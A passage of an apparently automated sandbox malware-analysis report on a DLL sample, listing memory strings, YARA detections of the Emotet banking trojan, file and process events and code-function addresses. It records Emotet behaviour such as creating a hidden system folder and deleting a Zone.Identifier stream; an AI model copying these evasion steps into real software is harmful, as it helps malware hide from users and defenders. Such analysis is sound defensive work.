Source: svchost.exe, 0000000C.00000002.450658909.000002177543C000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=
Source: svchost.exe, 0000000C.00000003.417197364.0000021775463000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/logging.ashx
Source: svchost.exe, 0000000C.00000002.455648502.000002177545B000.00000004.00000001.sdmp, svchost.exe, 0000000C.00000003.417221541.0000021775442000.00000004.00000001.sdmp, svchost.exe, 0000000C.00000003.417211454.000002177545A000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?
Source: svchost.exe, 0000000C.00000003.367845176.0000021775430000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?entry=
Source: svchost.exe, 0000000C.00000003.417204815.000002177545E000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=
Source: svchost.exe, 0000000C.00000002.455648502.000002177545B000.00000004.00000001.sdmp, svchost.exe, 0000000C.00000003.417211454.000002177545A000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=
Source: svchost.exe, 0000000C.00000002.455648502.000002177545B000.00000004.00000001.sdmp, svchost.exe, 0000000C.00000003.417211454.000002177545A000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=
Source: svchost.exe, 0000000C.00000002.453235698.000002177544E000.00000004.00000001.sdmp, svchost.exe, 0000000C.00000002.456745075.0000021775461000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.t
Source: svchost.exe, 0000000C.00000003.417197364.0000021775463000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx
Source: svchost.exe, 0000000C.00000002.450658909.000002177543C000.00000004.00000001.sdmp, svchost.exe, 0000000C.00000003.367845176.0000021775430000.00000004.00000001.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: svchost.exe, 0000000C.00000002.454924916.0000021775456000.00000004.00000001.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=
Source: svchost.exe, 0000000C.00000003.367845176.0000021775430000.00000004.00000001.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/mapcontrol/roadshield.ashx?bucket=
Source: svchost.exe, 0000000C.00000002.451895729.0000021775441000.00000004.00000001.sdmp, svchost.exe, 0000000C.00000003.417263243.0000021775440000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx
Source: svchost.exe, 0000000C.00000002.450658909.000002177543C000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=
Source: svchost.exe, 0000000C.00000003.367845176.0000021775430000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=
Source: svchost.exe, 0000000C.00000003.367845176.0000021775430000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=
Source: svchost.exe, 0000000C.00000003.367845176.0000021775430000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=
Source: svchost.exe, 0000000C.00000003.367845176.0000021775430000.00000004.00000001.sdmp, svchost.exe, 0000000C.00000003.417243666.0000021775439000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen
Source: svchost.exe, 0000000C.00000003.417255421.0000021775446000.00000004.00000001.sdmp, svchost.exe, 0000000C.00000003.417221541.0000021775442000.00000004.00000001.sdmp, svchost.exe, 0000000C.00000003.417236188.0000021775443000.00000004.00000001.sdmp	String found in binary or memory: https://t0.tiles.ditu.live.com/tiles/gen19

E-Banking Fraud:

Yara detected Emotet

Show sources

Source: Yara match	File source: 0.0.loaddll32.exe.fa0000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.fa0000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.fa0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.2da0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.rundll32.exe.26a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.2840000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.2840000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.rundll32.exe.2ec0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.rundll32.exe.26a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.fa0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.27521e0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.fa0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.fa0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.1383618.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.1383618.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.1383618.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.27521e0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.29121e8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.2a00000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.1383618.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.1383618.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.1383618.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.1383618.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.29121e8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.2933508.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.fa0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.fa0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.1383618.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.fa0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.rundll32.exe.2da24b8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.2933508.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.2a00000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.rundll32.exe.2ec0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.2660000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.fa0000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.2da0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.1383618.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.1383618.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.2660000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.rundll32.exe.2da24b8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.539981294.0000000000FA0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.562664559.0000000000FA0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.507700136.0000000002EFC000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.540057881.000000000137C000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.540904925.00000000028FA000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.534967742.000000000273A000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.561743739.000000000137C000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.538242653.000000000291A000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.537633031.0000000002660000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.534990244.0000000002840000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.542442475.000000000137C000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.563041724.000000000137C000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.651948468.0000000002D8A000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.651976449.0000000002EC0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.541263948.0000000002A00000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.775119059.00000000026A0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.596937604.000000000137C000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.561459077.0000000000FA0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.542217719.0000000000FA0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.521244679.0000000002DA0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, type: MEMORY

System Summary:

Source: Zd9TtpY4Kh.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL, LARGE_ADDRESS_AWARE

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 5444 -ip 5444

Source: C:\Windows\SysWOW64\rundll32.exe

File deleted: C:\Windows\SysWOW64\Kqkxkcs\syeog.ubw:Zone.Identifier

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

File created: C:\Windows\SysWOW64\Kqkxkcs\

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FC1291	0_2_00FC1291
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FA46FA	0_2_00FA46FA
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FA1EFB	0_2_00FA1EFB
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FB40FE	0_2_00FB40FE
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FA84F0	0_2_00FA84F0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FB62F5	0_2_00FB62F5
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FB4CF5	0_2_00FB4CF5
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FAC0EA	0_2_00FAC0EA
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FB56E9	0_2_00FB56E9
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FA40E2	0_2_00FA40E2
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FC1CDB	0_2_00FC1CDB
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FB52D1	0_2_00FB52D1
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FA90D4	0_2_00FA90D4
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FB28D5	0_2_00FB28D5
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FC20CE	0_2_00FC20CE
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FB10CD	0_2_00FB10CD
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FA2CC2	0_2_00FA2CC2
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FA92C1	0_2_00FA92C1
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FBA29B	0_2_00FBA29B
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FB009A	0_2_00FB009A
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FBE899	0_2_00FBE899
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FAFE9D	0_2_00FAFE9D
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FB0A93	0_2_00FB0A93
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FBCE90	0_2_00FBCE90
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FB0E97	0_2_00FB0E97
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FAF48A	0_2_00FAF48A
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FAA083	0_2_00FAA083
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FAFA78	0_2_00FAFA78
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FA387F	0_2_00FA387F
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FBB677	0_2_00FBB677
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FA3A6C	0_2_00FA3A6C
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FAEE60	0_2_00FAEE60
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FAB464	0_2_00FAB464
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FACE5A	0_2_00FACE5A
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FA6453	0_2_00FA6453
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FBEA55	0_2_00FBEA55
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FAAA4E	0_2_00FAAA4E
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FA544C	0_2_00FA544C
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FB3043	0_2_00FB3043
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FAAE43	0_2_00FAAE43
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FB7445	0_2_00FB7445
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FA243F	0_2_00FA243F
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FA3432	0_2_00FA3432
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FA3228	0_2_00FA3228
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FB282D	0_2_00FB282D
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FA9824	0_2_00FA9824
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FC261E	0_2_00FC261E
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FA800A	0_2_00FA800A
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FBC205	0_2_00FBC205
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FBEDED	0_2_00FBEDED
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FA51EC	0_2_00FA51EC
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FAA3E7	0_2_00FAA3E7
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FA75D2	0_2_00FA75D2
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FA19C0	0_2_00FA19C0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FB85B8	0_2_00FB85B8
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FA43BE	0_2_00FA43BE
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FA59BF	0_2_00FA59BF
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FBD7BE	0_2_00FBD7BE
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FBE3B5	0_2_00FBE3B5
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FB89A2	0_2_00FB89A2
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FBE5A7	0_2_00FBE5A7
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FBDDA5	0_2_00FBDDA5
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FB0BA4	0_2_00FB0BA4
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FB1591	0_2_00FB1591
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FAB191	0_2_00FAB191
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FA7795	0_2_00FA7795
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FA358B	0_2_00FA358B
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FB3782	0_2_00FB3782
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FA8D80	0_2_00FA8D80
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FA4B81	0_2_00FA4B81
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FBDB87	0_2_00FBDB87
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FC0370	0_2_00FC0370
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FACF6E	0_2_00FACF6E
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FABD61	0_2_00FABD61
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FB6540	0_2_00FB6540
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FAF73B	0_2_00FAF73B
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FBCD35	0_2_00FBCD35
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FAA92F	0_2_00FAA92F
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FB9124	0_2_00FB9124
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FA4D1E	0_2_00FA4D1E
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FACB13	0_2_00FACB13
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FB970A	0_2_00FB970A
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FBE10A	0_2_00FBE10A
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FB590E	0_2_00FB590E
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FB3D0C	0_2_00FB3D0C
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FBBF0C	0_2_00FBBF0C
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EDB77B4	0_2_6EDB77B4
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EDB9F10	0_2_6EDB9F10
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EDB1DE0	0_2_6EDB1DE0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EDBD530	0_2_6EDBD530
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EDB3A90	0_2_6EDB3A90
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EDC0380	0_2_6EDC0380
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EDCE3A1	0_2_6EDCE3A1
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EDC10C0	0_2_6EDC10C0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EDBA890	0_2_6EDBA890
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EDBE890	0_2_6EDBE890
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EDB68B0	0_2_6EDB68B0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EDB6070	0_2_6EDB6070
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EDB77B4	2_2_6EDB77B4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EDB9F10	2_2_6EDB9F10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EDB1DE0	2_2_6EDB1DE0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EDBD530	2_2_6EDBD530
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EDB3A90	2_2_6EDB3A90
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EDC0380	2_2_6EDC0380
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EDCE3A1	2_2_6EDCE3A1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EDC10C0	2_2_6EDC10C0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EDBA890	2_2_6EDBA890
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EDBE890	2_2_6EDBE890
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EDB68B0	2_2_6EDB68B0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EDB6070	2_2_6EDB6070
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02861291	4_2_02861291
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0285EA55	4_2_0285EA55
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0284A083	4_2_0284A083
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0284F48A	4_2_0284F48A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02850E97	4_2_02850E97
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0285CE90	4_2_0285CE90
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02850A93	4_2_02850A93
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0284FE9D	4_2_0284FE9D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0285E899	4_2_0285E899
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0285A29B	4_2_0285A29B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0285009A	4_2_0285009A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_028492C1	4_2_028492C1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02842CC2	4_2_02842CC2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_028620CE	4_2_028620CE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_028510CD	4_2_028510CD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_028490D4	4_2_028490D4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_028528D5	4_2_028528D5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_028552D1	4_2_028552D1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02861CDB	4_2_02861CDB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_028440E2	4_2_028440E2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_028556E9	4_2_028556E9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0284C0EA	4_2_0284C0EA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_028562F5	4_2_028562F5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02854CF5	4_2_02854CF5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_028484F0	4_2_028484F0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_028540FE	4_2_028540FE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_028446FA	4_2_028446FA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02841EFB	4_2_02841EFB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0285C205	4_2_0285C205
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0284800A	4_2_0284800A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0286261E	4_2_0286261E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02849824	4_2_02849824
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0285282D	4_2_0285282D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02843228	4_2_02843228
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02843432	4_2_02843432
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0284243F	4_2_0284243F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02857445	4_2_02857445
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02853043	4_2_02853043
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0284AE43	4_2_0284AE43
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0284544C	4_2_0284544C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0284AA4E	4_2_0284AA4E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02846453	4_2_02846453
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0284CE5A	4_2_0284CE5A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0284B464	4_2_0284B464
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0284EE60	4_2_0284EE60
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02843A6C	4_2_02843A6C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0285B677	4_2_0285B677
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0284387F	4_2_0284387F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0284FA78	4_2_0284FA78
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0285DB87	4_2_0285DB87
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02848D80	4_2_02848D80
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02844B81	4_2_02844B81
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02853782	4_2_02853782
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0284358B	4_2_0284358B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02847795	4_2_02847795
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02851591	4_2_02851591
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0284B191	4_2_0284B191
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0285DDA5	4_2_0285DDA5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02850BA4	4_2_02850BA4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0285E5A7	4_2_0285E5A7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_028589A2	4_2_028589A2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0285E3B5	4_2_0285E3B5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_028443BE	4_2_028443BE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_028459BF	4_2_028459BF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0285D7BE	4_2_0285D7BE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_028585B8	4_2_028585B8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_028419C0	4_2_028419C0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_028475D2	4_2_028475D2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0284A3E7	4_2_0284A3E7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0285EDED	4_2_0285EDED
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_028451EC	4_2_028451EC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02853D0C	4_2_02853D0C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0285BF0C	4_2_0285BF0C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0285590E	4_2_0285590E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0285970A	4_2_0285970A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0285E10A	4_2_0285E10A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0284CB13	4_2_0284CB13
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02844D1E	4_2_02844D1E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02859124	4_2_02859124
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0284A92F	4_2_0284A92F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0285CD35	4_2_0285CD35
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0284F73B	4_2_0284F73B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02856540	4_2_02856540
